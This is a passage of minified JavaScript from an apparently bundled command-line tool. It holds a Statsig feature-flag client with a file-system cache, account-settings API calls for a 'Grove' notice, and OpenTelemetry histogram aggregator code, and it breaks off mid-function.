0:Y.has_updates)!==!0)return!0;if(this._rawValues=A.data,this._lcut=Y.time,this._receivedAt=A.receivedAt,this._values=Y,this._bootstrapMetadata=this._extractBootstrapMetadata(A.source,Y),A.source&&Y.user)this._setWarningState(K,Y);return b5A.SDKFlags.setFlags(this._sdkKey,(q=Y.sdk_flags)!==null&&q!==void 0?q:{}),!0}getWarnings(){if(this._warnings.size===0)return;return Array.from(this._warnings)}getGate(A){var K;return this._getDetailedStoreResult((K=this._values)===null||K===void 0?void 0:K.feature_gates,A)}getConfig(A){var K;return this._getDetailedStoreResult((K=this._values)===null||K===void 0?void 0:K.dynamic_configs,A)}getLayer(A){var K;return this._getDetailedStoreResult((K=this._values)===null||K===void 0?void 0:K.layer_configs,A)}getParamStore(A){var K;return this._getDetailedStoreResult((K=this._values)===null||K===void 0?void 0:K.param_stores,A)}getSource(){return this._source}getExposureMapping(){var A;return(A=this._values)===null||A===void 0?void 0:A.exposures}_extractBootstrapMetadata(A,K){if(A!=="Bootstrap")return null;let q={};if(K.user)q.user=K.user;if(K.sdkInfo)q.generatorSDKInfo=K.sdkInfo;return q.lcut=K.time,q}_getDetailedStoreResult(A,K){let q=null;if(A)q=A[K]?A[K]:A[(0,b5A._DJB2)(K)];return{result:q,details:this._getDetails(q==null)}}_setWarningState(A,K){var q;let Y=b5A.StableID.get(this._sdkKey);if(((q=A.customIDs)===null||q===void 0?void 0:q.stableID)!==Y){this._warnings.add("StableIDMismatch");return}if("user"in K){let z=K.user;if((0,b5A._getFullUserHash)(A)!==(0,b5A._getFullUserHash)(z))this._warnings.add("PartialUserMatch")}}getCurrentSourceDetails(){if(this._source==="Uninitialized"||this._source==="NoValues")return{reason:this._source};let A={reason:this._source,lcut:this._lcut,receivedAt:this._receivedAt};if(this._warnings.size>0)A.warnings=Array.from(this._warnings);return A}_getDetails(A){var K,q;let Y=this.getCurrentSourceDetails(),z=Y.reason,w=(K=Y.warnings)!==null&&K!==void 0?K:[];if(this._source==="Bootstrap"&&w.length>0)z=z+w[0];if(z!=="Uninitialized"&&z!=="NoValues")z=`${z}:${A?"Unrecognized":"Recognized"}`;let H=this._source==="Bootstrap"?(q=this._bootstrapMetadata)!==null&&q!==void 0?q:void 0:void 0;if(H)Y.bootstrapMetadata=H;return Object.assign(Object.assign({},Y),{reason:z})}}sh7.default=ah7});var qb7=v((Ab7)=>{Object.defineProperty(Ab7,"__esModule",{value:!0});Ab7._resolveDeltasResponse=void 0;var eh7=is(),EtY=2;function ktY(A,K){let q=(0,eh7._typedJsonParse)(K,"checksum","DeltasEvaluationResponse");if(!q)return{hadBadDeltaChecksum:!0};let Y=CtY(A,q),z=LtY(Y),w=(0,eh7._DJB2Object)({feature_gates:z.feature_gates,dynamic_configs:z.dynamic_configs,layer_configs:z.layer_configs},EtY);if(w!==q.checksumV2)return{hadBadDeltaChecksum:!0,badChecksum:w,badMergedConfigs:z,badFullResponse:q.deltas_full_response};return JSON.stringify(z)}Ab7._resolveDeltasResponse=ktY;function CtY(A,K){return Object.assign(Object.assign(Object.assign({},A),K),{feature_gates:Object.assign(Object.assign({},A.feature_gates),K.feature_gates),layer_configs:Object.assign(Object.assign({},A.layer_configs),K.layer_configs),dynamic_configs:Object.assign(Object.assign({},A.dynamic_configs),K.dynamic_configs)})}function LtY(A){let K=A;return zv6(A.deleted_gates,K.feature_gates),delete K.deleted_gates,zv6(A.deleted_configs,K.dynamic_configs),delete K.deleted_configs,zv6(A.deleted_layers,K.layer_configs),delete K.deleted_layers,K}function zv6(A,K){A===null||A===void 0||A.forEach((q)=>{delete K[q]})}});var wv6=v((TgA)=>{var Yb7=TgA&&TgA.__awaiter||function(A,K,q,Y){function z(w){return w instanceof q?w:new q(function(H){H(w)})}return new(q||(q=Promise))(function(w,H){function J($){try{X(Y.next($))}catch(_){H(_)}}function O($){try{X(Y.throw($))}catch(_){H(_)}}function X($){$.done?w($.value):z($.value).then(J,O)}X((Y=Y.apply(A,K||[])).next())})};Object.defineProperty(TgA,"__esModule",{value:!0});var BW1=is(),RtY=qb7();class zb7 extends BW1.NetworkCore{constructor(A,K){super(A,K);let q=A===null||A===void 0?void 0:A.networkConfig;this._initializeUrlConfig=new BW1.UrlConfiguration(BW1.Endpoint._initialize,q===null||q===void 0?void 0:q.initializeUrl,q===null||q===void 0?void 0:q.api,q===null||q===void 0?void 0:q.initializeFallbackUrls)}fetchEvaluations(A,K,q,Y,z){return Yb7(this,void 0,void 0,function*(){let w=K?(0,BW1._typedJsonParse)(K,"has_updates","InitializeResponse"):null,H={user:Y,hash:"djb2",deltasResponseRequested:!1,full_checksum:null};if(w===null||w===void 0?void 0:w.has_updates)H=Object.assign(Object.assign({},H),{sinceTime:z?w.time:0,previousDerivedFields:"derived_fields"in w&&z?w.derived_fields:{},deltasResponseRequested:!0,full_checksum:w.full_checksum});return this._fetchEvaluations(A,w,H,q)})}_fetchEvaluations(A,K,q,Y){var z,w;return Yb7(this,void 0,void 0,function*(){let H=yield this.post({sdkKey:A,urlConfig:this._initializeUrlConfig,data:q,retries:2,isStatsigEncodable:!0,priority:Y});if((H===null||H===void 0?void 0:H.code)===204)return'{"has_updates": false}';if((H===null||H===void 0?void 0:H.code)!==200)return(z=H===null||H===void 0?void 0:H.body)!==null&&z!==void 0?z:null;if((K===null||K===void 0?void 0:K.has_updates)!==!0||((w=H.body)===null||w===void 0?void 0:w.includes('"is_delta":true'))!==!0||q.deltasResponseRequested!==!0)return H.body;let J=(0,RtY._resolveDeltasResponse)(K,H.body);if(typeof J==="string")return J;return this._fetchEvaluations(A,K,Object.assign(Object.assign(Object.assign({},q),J),{deltasResponseRequested:!1}),Y)})}}TgA.default=zb7});var Ob7=v((Hb7)=>{Object.defineProperty(Hb7,"__esModule",{value:!0});Hb7._makeParamStoreGetter=void 0;var wb7=is(),mW1={disableExposureLog:!0};function gW1(A){return A==null||A.disableExposureLog===!1}function Hv6(A,K){return K!=null&&!(0,wb7._isTypeMatch)(A,K)}function ytY(A,K){return A.value}function ItY(A,K,q){if(A.getFeatureGate(K.gate_name,gW1(q)?void 0:mW1).value)return K.pass_value;return K.fail_value}function StY(A,K,q,Y){let w=A.getDynamicConfig(K.config_name,mW1).get(K.param_name);if(Hv6(w,q))return q;if(gW1(Y))A.getDynamicConfig(K.config_name);return w}function htY(A,K,q,Y){let w=A.getExperiment(K.experiment_name,mW1).get(K.param_name);if(Hv6(w,q))return q;if(gW1(Y))A.getExperiment(K.experiment_name);return w}function btY(A,K,q,Y){let w=A.getLayer(K.layer_name,mW1).get(K.param_name);if(Hv6(w,q))return q;if(gW1(Y))A.getLayer(K.layer_name).get(K.param_name);return w}function xtY(A,K,q){return(Y,z)=>{if(K==null)return z;let w=K[Y];if(w==null||z!=null&&(0,wb7._typeOf)(z)!==w.param_type)return z;switch(w.ref_type){case"static":return ytY(w,q);case"gate":return ItY(A,w,q);case"dynamic_config":return StY(A,w,z,q);case"experiment":return htY(A,w,z,q);case"layer":return btY(A,w,z,q);default:return z}}}Hb7._makeParamStoreGetter=xtY});var $b7=v((BDA)=>{var utY=BDA&&BDA.__awaiter||function(A,K,q,Y){function z(w){return w instanceof q?w:new q(function(H){H(w)})}return new(q||(q=Promise))(function(w,H){function J($){try{X(Y.next($))}catch(_){H(_)}}function O($){try{X(Y.throw($))}catch(_){H(_)}}function X($){$.done?w($.value):z($.value).then(J,O)}X((Y=Y.apply(A,K||[])).next())})};Object.defineProperty(BDA,"__esModule",{value:!0});BDA.StatsigEvaluationsDataAdapter=void 0;var x5A=is(),BtY=wv6();class Xb7 extends x5A.DataAdapterCore{constructor(){super("EvaluationsDataAdapter","evaluations");this._network=null,this._options=null}attach(A,K){super.attach(A,K),this._network=new BtY.default(K!==null&&K!==void 0?K:{})}getDataAsync(A,K,q){return this._getDataAsyncImpl(A,(0,x5A._normalizeUser)(K,this._options),q)}prefetchData(A,K){return this._prefetchDataImpl(A,K)}setData(A){let K=(0,x5A._typedJsonParse)(A,"has_updates","data");if(K&&"user"in K)super.setData(A,K.user);else x5A.Log.error("StatsigUser not found. You may be using an older server SDK version. Please upgrade your SDK or use setDataLegacy.")}setDataLegacy(A,K){super.setData(A,K)}_fetchFromNetwork(A,K,q,Y){var z;return utY(this,void 0,void 0,function*(){let w=yield(z=this._network)===null||z===void 0?void 0:z.fetchEvaluations(this._getSdkKey(),A,q===null||q===void 0?void 0:q.priority,K,Y);return w!==null&&w!==void 0?w:null})}_getCacheKey(A){var K;let q=(0,x5A._getStorageKey)(this._getSdkKey(),A,(K=this._options)===null||K===void 0?void 0:K.customUserCacheKeyFunc);return`${x5A.DataAdapterCachePrefix}.${this._cacheSuffix}.${q}`}_isCachedResultValidFor204(A,K){return A.fullUserHash!=null&&A.fullUserHash===(0,x5A._getFullUserHash)(K)}}BDA.StatsigEvaluationsDataAdapter=Xb7});var Gb7=v((vgA)=>{var Jv6=vgA&&vgA.__awaiter||function(A,K,q,Y){function z(w){return w instanceof q?w:new q(function(H){H(w)})}return new(q||(q=Promise))(function(w,H){function J($){try{X(Y.next($))}catch(_){H(_)}}function O($){try{X(Y.throw($))}catch(_){H(_)}}function X($){$.done?w($.value):z($.value).then(J,O)}X((Y=Y.apply(A,K||[])).next())})};Object.defineProperty(vgA,"__esModule",{value:!0});var V9=is(),mtY=th7(),gtY=wv6(),_b7=Ob7(),FtY=$b7();class FW1 extends V9.StatsigClientBase{static instance(A){let K=(0,V9._getStatsigGlobal)().instance(A);if(K instanceof FW1)return K;return V9.Log.warn((0,V9._isServerEnv)()?"StatsigClient.instance is not supported in server environments":"Unable to find StatsigClient instance"),new FW1(A!==null&&A!==void 0?A:"",{})}constructor(A,K,q=null){var Y,z;V9.SDKType._setClientType(A,"javascript-client");let w=new gtY.default(q,(J)=>{this.$emt(J)});super(A,(Y=q===null||q===void 0?void 0:q.dataAdapter)!==null&&Y!==void 0?Y:new FtY.StatsigEvaluationsDataAdapter,w,q);this.getFeatureGate=this._memoize(V9.MemoPrefix._gate,this._getFeatureGateImpl.bind(this)),this.getDynamicConfig=this._memoize(V9.MemoPrefix._dynamicConfig,this._getDynamicConfigImpl.bind(this)),this.getExperiment=this._memoize(V9.MemoPrefix._experiment,this._getExperimentImpl.bind(this)),this.getLayer=this._memoize(V9.MemoPrefix._layer,this._getLayerImpl.bind(this)),this.getParameterStore=this._memoize(V9.MemoPrefix._paramStore,this._getParameterStoreImpl.bind(this)),this._store=new mtY.default(A),this._network=w,this._user=this._configureUser(K,q);let H=(z=q===null||q===void 0?void 0:q.plugins)!==null&&z!==void 0?z:[];for(let J of H)J.bind(this)}initializeSync(A){var K;if(this.loadingStatus!=="Uninitialized")return(0,V9.createUpdateDetails)(!0,this._store.getSource(),-1,null,null,["MultipleInitializations",...(K=this._store.getWarnings())!==null&&K!==void 0?K:[]]);return this._logger.start(),this.updateUserSync(this._user,A)}initializeAsync(A){return Jv6(this,void 0,void 0,function*(){if(this._initializePromise)return this._initializePromise;return this._initializePromise=this._initializeAsyncImpl(A),this._initializePromise})}updateUserSync(A,K){var q;let Y=performance.now(),z=[...(q=this._store.getWarnings())!==null&&q!==void 0?q:[]];this._resetForUser(A);let w=this.dataAdapter.getDataSync(this._user);if(w==null)z.push("NoCachedValues");this._store.setValues(w,this._user),this._finalizeUpdate(w);let H=K===null||K===void 0?void 0:K.disableBackgroundCacheRefresh;if(H===!0||H==null&&(w===null||w===void 0?void 0:w.source)==="Bootstrap")return(0,V9.createUpdateDetails)(!0,this._store.getSource(),performance.now()-Y,this._errorBoundary.getLastSeenErrorAndReset(),this._network.getLastUsedInitUrlAndReset(),z);return this._runPostUpdate(w!==null&&w!==void 0?w:null,this._user),(0,V9.createUpdateDetails)(!0,this._store.getSource(),performance.now()-Y,this._errorBoundary.getLastSeenErrorAndReset(),this._network.getLastUsedInitUrlAndReset(),z)}updateUserAsync(A,K){return Jv6(this,void 0,void 0,function*(){this._resetForUser(A);let q=this._user;V9.Diagnostics._markInitOverallStart(this._sdkKey);let Y=this.dataAdapter.getDataSync(q);if(this._store.setValues(Y,this._user),this._setStatus("Loading",Y),Y=yield this.dataAdapter.getDataAsync(Y,q,K),q!==this._user)return(0,V9.createUpdateDetails)(!1,this._store.getSource(),-1,Error("User changed during update"),this._network.getLastUsedInitUrlAndReset());let z=!1;if(Y!=null)V9.Diagnostics._markInitProcessStart(this._sdkKey),z=this._store.setValues(Y,this._user),V9.Diagnostics._markInitProcessEnd(this._sdkKey,{success:z});if(this._finalizeUpdate(Y),!z)this._errorBoundary.attachErrorIfNoneExists(V9.UPDATE_DETAIL_ERROR_MESSAGES.NO_NETWORK_DATA),this.$emt({name:"initialization_failure"});V9.Diagnostics._markInitOverallEnd(this._sdkKey,z,this._store.getCurrentSourceDetails());let w=V9.Diagnostics._enqueueDiagnosticsEvent(this._user,this._logger,this._sdkKey,this._options);return(0,V9.createUpdateDetails)(z,this._store.getSource(),w,this._errorBoundary.getLastSeenErrorAndReset(),this._network.getLastUsedInitUrlAndReset(),this._store.getWarnings())})}getContext(){return{sdkKey:this._sdkKey,options:this._options,values:this._store.getValues(),user:JSON.parse(JSON.stringify(this._user)),errorBoundary:this._errorBoundary,session:V9.StatsigSession.get(this._sdkKey),stableID:V9.StableID.get(this._sdkKey)}}checkGate(A,K){return this.getFeatureGate(A,K).value}logEvent(A,K,q){let Y=typeof A==="string"?{eventName:A,value:K,metadata:q}:A;this._logger.enqueue(Object.assign(Object.assign({},Y),{user:this._user,time:Date.now()}))}_primeReadyRipcord(){this.$on("error",()=>{this.loadingStatus==="Loading"&&this._finalizeUpdate(null)})}_initializeAsyncImpl(A){return Jv6(this,void 0,void 0,function*(){if(!V9.Storage.isReady())yield V9.Storage.isReadyResolver();return this._logger.start(),this.updateUserAsync(this._user,A)})}_finalizeUpdate(A){this._store.finalize(),this._setStatus("Ready",A)}_runPostUpdate(A,K){this.dataAdapter.getDataAsync(A,K,{priority:"low"}).catch((q)=>{V9.Log.error("An error occurred after update.",q)})}_resetForUser(A){this._logger.reset(),this._store.reset(),this._user=this._configureUser(A,this._options)}_configureUser(A,K){var q;let Y=(0,V9._normalizeUser)(A,K),z=(q=Y.customIDs)===null||q===void 0?void 0:q.stableID;if(z)V9.StableID.setOverride(z,this._sdkKey);return Y}_getFeatureGateImpl(A,K){var q,Y;let{result:z,details:w}=this._store.getGate(A),H=(0,V9._makeFeatureGate)(A,w,z),J=(Y=(q=this.overrideAdapter)===null||q===void 0?void 0:q.getGateOverride)===null||Y===void 0?void 0:Y.call(q,H,this._user,K),O=J!==null&&J!==void 0?J:H;return this._enqueueExposure(A,(0,V9._createGateExposure)(this._user,O,this._store.getExposureMapping()),K),this.$emt({name:"gate_evaluation",gate:O}),O}_getDynamicConfigImpl(A,K){var q,Y;let{result:z,details:w}=this._store.getConfig(A),H=(0,V9._makeDynamicConfig)(A,w,z),J=(Y=(q=this.overrideAdapter)===null||q===void 0?void 0:q.getDynamicConfigOverride)===null||Y===void 0?void 0:Y.call(q,H,this._user,K),O=J!==null&&J!==void 0?J:H;return this._enqueueExposure(A,(0,V9._createConfigExposure)(this._user,O,this._store.getExposureMapping()),K),this.$emt({name:"dynamic_config_evaluation",dynamicConfig:O}),O}_getExperimentImpl(A,K){var q,Y,z,w;let{result:H,details:J}=this._store.getConfig(A),O=(0,V9._makeExperiment)(A,J,H);if(O.__evaluation!=null)O.__evaluation.secondary_exposures=(0,V9._mapExposures)((Y=(q=O.__evaluation)===null||q===void 0?void 0:q.secondary_exposures)!==null&&Y!==void 0?Y:[],this._store.getExposureMapping());let X=(w=(z=this.overrideAdapter)===null||z===void 0?void 0:z.getExperimentOverride)===null||w===void 0?void 0:w.call(z,O,this._user,K),$=X!==null&&X!==void 0?X:O;return this._enqueueExposure(A,(0,V9._createConfigExposure)(this._user,$,this._store.getExposureMapping()),K),this.$emt({name:"experiment_evaluation",experiment:$}),$}_getLayerImpl(A,K){var q,Y,z;let{result:w,details:H}=this._store.getLayer(A),J=(0,V9._makeLayer)(A,H,w),O=(Y=(q=this.overrideAdapter)===null||q===void 0?void 0:q.getLayerOverride)===null||Y===void 0?void 0:Y.call(q,J,this._user,K);if(K===null||K===void 0?void 0:K.disableExposureLog)this._logger.incrementNonExposureCount(A);let X=(0,V9._mergeOverride)(J,O,(z=O===null||O===void 0?void 0:O.__value)!==null&&z!==void 0?z:J.__value,($)=>{if(K===null||K===void 0?void 0:K.disableExposureLog)return;this._enqueueExposure(A,(0,V9._createLayerParameterExposure)(this._user,X,$,this._store.getExposureMapping()),K)});return this.$emt({name:"layer_evaluation",layer:X}),X}_getParameterStoreImpl(A,K){var q,Y;let{result:z,details:w}=this._store.getParamStore(A);this._logger.incrementNonExposureCount(A);let H={name:A,details:w,__configuration:z,get:(0,_b7._makeParamStoreGetter)(this,z,K)},J=(Y=(q=this.overrideAdapter)===null||q===void 0?void 0:q.getParamStoreOverride)===null||Y===void 0?void 0:Y.call(q,H,K);if(J!=null)H.__configuration=J.config,H.details=J.details,H.get=(0,_b7._makeParamStoreGetter)(this,J.config,K);return H}}vgA.default=FW1});var Wb7=v((TB)=>{var QtY=TB&&TB.__createBinding||(Object.create?function(A,K,q,Y){if(Y===void 0)Y=q;var z=Object.getOwnPropertyDescriptor(K,q);if(!z||("get"in z?!K.__esModule:z.writable||z.configurable))z={enumerable:!0,get:function(){return K[q]}};Object.defineProperty(A,Y,z)}:function(A,K,q,Y){if(Y===void 0)Y=q;A[Y]=K[q]}),UtY=TB&&TB.__exportStar||function(A,K){for(var q in A)if(q!=="default"&&!Object.prototype.hasOwnProperty.call(K,q))QtY(K,A,q)};Object.defineProperty(TB,"__esModule",{value:!0});TB.StatsigClient=void 0;var Zb7=Gb7();TB.StatsigClient=Zb7.default;UtY(is(),TB);__STATSIG__=Object.assign(Object.assign({},__STATSIG__!==null&&__STATSIG__!==void 0?__STATSIG__:{}),{StatsigClient:Zb7.default});TB.default=__STATSIG__});var ptY,dtY,ctY;var Db7=k(()=>{ptY={visibilityState:"visible",documentElement:{lang:"en"},addEventListener:(A,K)=>{}},dtY={document:ptY,location:{href:"node://localhost",pathname:"/"},addEventListener:(A,K)=>{if(A==="beforeunload")process.on("exit",()=>{if(typeof K==="function")K({});else K.handleEvent({})})},focus:()=>{},innerHeight:768,innerWidth:1024},ctY={sendBeacon:(A,K)=>{return!0},userAgent:"Mozilla/5.0 (Node.js) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0",language:"en-US"};if(typeof window>"u")global.window=dtY;if(typeof navigator>"u")global.navigator=ctY});import*as EgA from"path";import{existsSync as jb7,mkdirSync as ltY,readdirSync as itY,readFileSync as ntY,unlinkSync as rtY}from"fs";import{writeFile as otY}from"fs/promises";function mDA(){return EgA.join(w8(),"statsig")}class Ov6{cache=new Map;ready=!1;constructor(){try{if(!jb7(mDA()))ltY(mDA(),{recursive:!0});let A=itY(mDA());for(let K of A){let q=decodeURIComponent(K),Y=ntY(EgA.join(mDA(),K),"utf8");this.cache.set(q,Y)}this.ready=!0}catch(A){KA(A),this.ready=!0}}isReady(){return this.ready}isReadyResolver(){return this.ready?Promise.resolve():null}getProviderName(){return"FileSystemStorageProvider"}getItem(A){return this.cache.get(A)??null}setItem(A,K){this.cache.set(A,K);let q=encodeURIComponent(A);otY(EgA.join(mDA(),q),K,"utf8").catch((Y)=>KA(Y))}removeItem(A){this.cache.delete(A);let K=encodeURIComponent(A),q=EgA.join(mDA(),K);if(!jb7(q))return;try{rtY(q)}catch(Y){KA(Y)}}getAllKeys(){return Array.from(this.cache.keys())}}var Mb7=k(()=>{C1();l6()});import{createHash as atY}from"crypto";function ttY(A){let K=rs(!0),q={networkConfig:{api:"https://statsig.anthropic.com/v1/",networkTimeoutMs:30000},environment:{tier:"production"},includeCurrentPageUrlWithEvents:!1,logLevel:QW1.LogLevel.None,storageProvider:new Ov6,customUserCacheKeyFunc:(w,H)=>{return atY("sha1").update(w).update(H.userID||"").digest("hex").slice(0,10)}},Y=new QW1.StatsigClient(A,K,q);Y.on("error",()=>{A8.head("https://api.anthropic.com/api/hello").catch(()=>{})});let z=Y.initializeAsync();return process.on("beforeExit",async()=>{await Y.flush()}),process.on("exit",()=>{Y.flush()}),{client:Y,initialized:z}}function Vb7(){Pb7.cache?.clear?.(),ap.cache?.clear?.()}async function u5A(){if(K$())return;try{let A=rs(!0),K=await ap();if(K)await K.updateUserAsync(A)}catch(A){KA(A instanceof Error?A:Error(`Statsig: Force refresh failed: ${A}`))}}function fb7(){if(K$())return;let A=setInterval(()=>{u5A()},stY);process.on("beforeExit",()=>{clearInterval(A)})}async function Xv6(A,K){if(K$())return;try{let[q,Y]=await Promise.all([ap(),yr({model:K.model})]);if(!q)return;let z=ky4(Y,K),w={eventName:A,metadata:z};q.logEvent(w),await q.flush()}catch(q){}}function Nb7(A,K){Xv6(A,K)}var QW1,stY=21600000,Pb7,ap;var ns=k(()=>{p7();n3();Db7();Mb7();YsA();kx();Z1();C1();sO();BQ();b1();QW1=o(Wb7(),1);Pb7=z6(()=>{if(K$())return null;return ttY(NW8)}),ap=z6(async()=>{let A=Pb7();if(!A)return null;return await A.initialized,A.client})});async function UW1(A){try{return await A()}catch(K){if(A8.isAxiosError(K)&&K.response?.status===401){n("tengu_grove_oauth_401_received",{});let q=LK()?.accessToken;if(q)return await CG1(q),await A()}throw K}}async function gDA(){try{return{success:!0,data:(await UW1(()=>{let K=BH();if(K.error)throw Error(`Failed to get auth headers: ${K.error}`);return A8.get(`${E7().BASE_API_URL}/api/oauth/account/settings`,{headers:{...K.headers,"User-Agent":uH()}})})).data}}catch(A){return KA(A),{success:!1}}}async function $v6(){try{await UW1(()=>{let A=BH();if(A.error)throw Error(`Failed to get auth headers: ${A.error}`);return A8.post(`${E7().BASE_API_URL}/api/oauth/account/grove_notice_viewed`,{},{headers:{...A.headers,"User-Agent":uH()}})})}catch(A){KA(A)}}async function pW1(A){try{await UW1(()=>{let K=BH();if(K.error)throw Error(`Failed to get auth headers: ${K.error}`);return A8.patch(`${E7().BASE_API_URL}/api/oauth/account/settings`,{grove_enabled:A},{headers:{...K.headers,"User-Agent":uH()}})})}catch(K){KA(K)}}async function FDA(){if(!dW1())return!1;let A=$5()?.accountUuid;if(!A)return!1;let q=M1().groveConfigCache?.[A],Y=Date.now();if(!q)return h("Grove: No cache, fetching config in background (dialog skipped this session)"),Tb7(A),!1;if(Y-q.timestamp>etY)return h("Grove: Cache stale, returning cached data and refreshing in background"),Tb7(A),q.grove_enabled;return h("Grove: Using fresh cached config"),q.grove_enabled}async function Tb7(A){try{let K=await os();if(!K.success)return;let q=K.data.grove_enabled;D6((Y)=>({...Y,groveConfigCache:{...Y.groveConfigCache,[A]:{grove_enabled:q,timestamp:Date.now()}}}))}catch(K){h(`Grove: Failed to fetch and store config: ${K}`)}}var etY=86400000,os;var QDA=k(()=>{n3();JG();C1();uz();Z1();l1();x4();i6();p7();os=z6(async()=>{try{let A=await UW1(()=>{let w=BH();if(w.error)throw Error(`Failed to get auth headers: ${w.error}`);return A8.get(`${E7().BASE_API_URL}/api/claude_code_grove`,{headers:{...w.headers,"User-Agent":ln()},timeout:3000})}),{grove_enabled:K,domain_excluded:q,notice_is_grace_period:Y,notice_reminder_frequency:z}=A.data;return{success:!0,data:{grove_enabled:K,domain_excluded:q??!1,notice_is_grace_period:Y??!0,notice_reminder_frequency:z}}}catch(A){return h(`Failed to fetch Grove notice config: ${A}`),{success:!1}}})});var cW1=v((vb7)=>{Object.defineProperty(vb7,"__esModule",{value:!0});vb7.AggregationTemporality=void 0;var AeY;(function(A){A[A.DELTA=0]="DELTA",A[A.CUMULATIVE=1]="CUMULATIVE"})(AeY=vb7.AggregationTemporality||(vb7.AggregationTemporality={}))});var as=v((kb7)=>{Object.defineProperty(kb7,"__esModule",{value:!0});kb7.DataPointType=kb7.InstrumentType=void 0;var KeY;(function(A){A.COUNTER="COUNTER",A.GAUGE="GAUGE",A.HISTOGRAM="HISTOGRAM",A.UP_DOWN_COUNTER="UP_DOWN_COUNTER",A.OBSERVABLE_COUNTER="OBSERVABLE_COUNTER",A.OBSERVABLE_GAUGE="OBSERVABLE_GAUGE",A.OBSERVABLE_UP_DOWN_COUNTER="OBSERVABLE_UP_DOWN_COUNTER"})(KeY=kb7.InstrumentType||(kb7.InstrumentType={}));var qeY;(function(A){A[A.HISTOGRAM=0]="HISTOGRAM",A[A.EXPONENTIAL_HISTOGRAM=1]="EXPONENTIAL_HISTOGRAM",A[A.GAUGE=2]="GAUGE",A[A.SUM=3]="SUM"})(qeY=kb7.DataPointType||(kb7.DataPointType={}))});var GS=v((Cb7)=>{Object.defineProperty(Cb7,"__esModule",{value:!0});Cb7.equalsCaseInsensitive=Cb7.binarySearchUB=Cb7.setEquals=Cb7.FlatMap=Cb7.isPromiseAllSettledRejectionResult=Cb7.PromiseAllSettled=Cb7.callWithTimeout=Cb7.TimeoutError=Cb7.instrumentationScopeId=Cb7.hashAttributes=Cb7.isNotNullish=void 0;function YeY(A){return A!==void 0&&A!==null}Cb7.isNotNullish=YeY;function zeY(A){let K=Object.keys(A);if(K.length===0)return"";return K=K.sort(),JSON.stringify(K.map((q)=>[q,A[q]]))}Cb7.hashAttributes=zeY;function weY(A){return`${A.name}:${A.version??""}:${A.schemaUrl??""}`}Cb7.instrumentationScopeId=weY;class lW1 extends Error{constructor(A){super(A);Object.setPrototypeOf(this,lW1.prototype)}}Cb7.TimeoutError=lW1;function HeY(A,K){let q,Y=new Promise(function(w,H){q=setTimeout(function(){H(new lW1("Operation timed out."))},K)});return Promise.race([A,Y]).then((z)=>{return clearTimeout(q),z},(z)=>{throw clearTimeout(q),z})}Cb7.callWithTimeout=HeY;async function JeY(A){return Promise.all(A.map(async(K)=>{try{return{status:"fulfilled",value:await K}}catch(q){return{status:"rejected",reason:q}}}))}Cb7.PromiseAllSettled=JeY;function OeY(A){return A.status==="rejected"}Cb7.isPromiseAllSettledRejectionResult=OeY;function XeY(A,K){let q=[];return A.forEach((Y)=>{q.push(...K(Y))}),q}Cb7.FlatMap=XeY;function $eY(A,K){if(A.size!==K.size)return!1;for(let q of A)if(!K.has(q))return!1;return!0}Cb7.setEquals=$eY;function _eY(A,K){let q=0,Y=A.length-1,z=A.length;while(Y>=q){let w=q+Math.trunc((Y-q)/2);if(A[w]<K)q=w+1;else z=w,Y=w-1}return z}Cb7.binarySearchUB=_eY;function GeY(A,K){return A.toLowerCase()===K.toLowerCase()}Cb7.equalsCaseInsensitive=GeY});var UDA=v((Rb7)=>{Object.defineProperty(Rb7,"__esModule",{value:!0});Rb7.AggregatorKind=void 0;var veY;(function(A){A[A.DROP=0]="DROP",A[A.SUM=1]="SUM",A[A.LAST_VALUE=2]="LAST_VALUE",A[A.HISTOGRAM=3]="HISTOGRAM",A[A.EXPONENTIAL_HISTOGRAM=4]="EXPONENTIAL_HISTOGRAM"})(veY=Rb7.AggregatorKind||(Rb7.AggregatorKind={}))});var hb7=v((Ib7)=>{Object.defineProperty(Ib7,"__esModule",{value:!0});Ib7.DropAggregator=void 0;var EeY=UDA();class yb7{kind=EeY.AggregatorKind.DROP;createAccumulation(){return}merge(A,K){return}diff(A,K){return}toMetricData(A,K,q,Y){return}}Ib7.DropAggregator=yb7});var Bb7=v((xb7)=>{Object.defineProperty(xb7,"__esModule",{value:!0});xb7.HistogramAggregator=xb7.HistogramAccumulation=void 0;var keY=UDA(),kgA=as(),CeY=GS();function LeY(A){let K=A.map(()=>0);return K.push(0),{buckets:{boundaries:A,counts:K},sum:0,count:0,hasMinMax:!1,min:1/0,max:-1/0}}class CgA{startTime;_boundaries;_recordMinMax;_current;constructor(A,K,q=!0,Y=LeY(K)){this.startTime=A,this._boundaries=K,this._recordMinMax=q,this._current=Y}record(A){if(Number.isNaN(A))return;if(this._current.count+=1,this._current.sum+=A,this._recordMinMax)this._current.min=Math.min(A,this._current.min),this._current.max=Math.max(A,this._current.max),this._current.hasMinMax=!0;let K=(0,CeY.binarySearchUB)(this._boundaries,A);this._current.buckets.counts[K]+=1}setStartTime(A){this.startTime=A}toPointValue(){return this._current}}xb7.HistogramAccumulation=CgA;class bb7{_boundaries;_recordMinMax;kind=keY.AggregatorKind.HISTOGRAM;constructor(A,K){this._boundaries=A,this._recordMinMax=K}createAccumulation(A){return new CgA(A,this._boundaries,this._recordMinMax)}merge(A,K){let q=A.toPointValue(),Y=K.toPointValue(),z=q.buckets.counts,w=Y.buckets.counts,H=Array(z.length);for(let X=0;X<z.length;X++)H[X]=z[X]+w[X];let J=1/0,O=-1/0;if(this._recordMinMax){if(q.hasMinMax&&Y.hasMinMax)J=Math.min(q.min,Y.min),O=Math.max(q.max,Y.max);else if(q.hasMinMax)J=q.min,O=q.max;else if(Y.hasMinMax)J=Y.min,O=Y.max}return new CgA(A.startTime,q.buckets.boundaries,this._recordMinMax,{buckets:{boundaries:q.buckets.boundaries,counts:H},count:q.count+Y.count,sum:q.sum+Y.sum,hasMinMax:this._recordMinMax&&(q.hasMinMax||Y.hasMinMax),min:J,max:O})}diff(A,K){let q=A.toPointValue(),Y=K.toPointValue(),z=q.buckets.counts,w=Y.buckets.counts,H=Array(z.length);for(let J=0;J<z.length;J++)H[J]=w[J]-z[J];return new CgA(K.startTime,q.buckets.boundaries,this._recordMinMax,{buckets:{boundaries:q.buckets.boundaries,counts:H},count:Y.count-q.count,sum:Y.sum-q.sum,hasMinMax:!1,min:1/0,max:-1/0})}toMetricData(A,K,q,Y){return{descriptor:A,aggregationTemporality:K,dataPointType:kgA.DataPointType.HISTOGRAM,dataPoints:q.map(([z,w])=>{let 